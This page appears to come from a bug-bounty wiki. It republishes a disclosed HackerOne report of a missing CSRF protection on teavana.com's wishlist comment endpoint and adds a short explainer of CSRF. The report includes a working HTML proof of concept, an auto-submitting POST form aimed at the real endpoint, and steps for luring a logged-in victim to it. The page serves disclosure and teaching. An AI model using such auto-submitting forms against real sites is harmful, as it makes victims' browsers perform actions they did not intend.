Skip to content
CSRF Disclosed report Beginner

CSRF exploit | Adding/Editing comment of wishlist items (teavana.com - Wishlist-Comments)

The wishlist comment endpoint lacked CSRF protection, so an attacker could make a logged-in victim's browser submit a comment without their knowledge. This allowed adding or editing comments on the victim's wishlist items.

faisalahmed Follow

Originally disclosed on HackerOne

  • Triaged in 5 days
  • Fixed in 4 months
  • Paid in 5 days
  • Disclosed after 4 months

Hello Team, I noticed there is no CSRF protection in Adding/Editing comment of wishlist items.

AREA: https://www.teavana.com/us/en/my-wishlist

Attacker could take advantage of this issue and exploit victim remotely.

####POC: Method: POST

POST URL: https://www.teavana.com/on/demandware.store/Sites-Teavana-Site/default/Wishlist-Comments/C1495572478 here C1495572478 is wishlist id number Post Contents:

wishlistComment=comment

HTML POC to reproduce:

<html>
<head><title>CSRF POC</title></head>
<body onLoad="document.forms[0].submit()">
<form action="https://www.teavana.com/on/demandware.store/Sites-Teavana-Site/default/Wishlist-Comments/C1495572478" method="POST">
<input type="text" name="wishlistComment" value="comment"><br>
<input type="text" name="save" value="Save"><br>
</form>
</body>
</html>
  • Save this snippet as HTML.
  • Make your victim visit the snippet/link.
  • comment will be added/edited automatically.

Hope you'll fix this one.

Looking forward!

The original report as published on HackerOne, by faisalahmed. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could add or edit comments on a victim's wishlist items without the victim's consent.

What the attacker needed

Victim is logged in; victim visits attacker page

The fix

The endpoint should be fixed, for example by adding CSRF protection.

How it was found

  1. Save the provided HTML snippet as a file.
  2. Make the victim visit the snippet or link.
  3. The comment is added or edited automatically.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

CSRF (Cross-Site Request Forgery) is when a malicious website tricks your browser into sending a request to another site where you are logged in. Here, the wishlist comment form had no secret token to prove the request came from the real site, so a page the attacker controls could submit a comment on your behalf.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by faisalahmed

View all

16 more disclosed reports, best first.

More from Starbucks

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.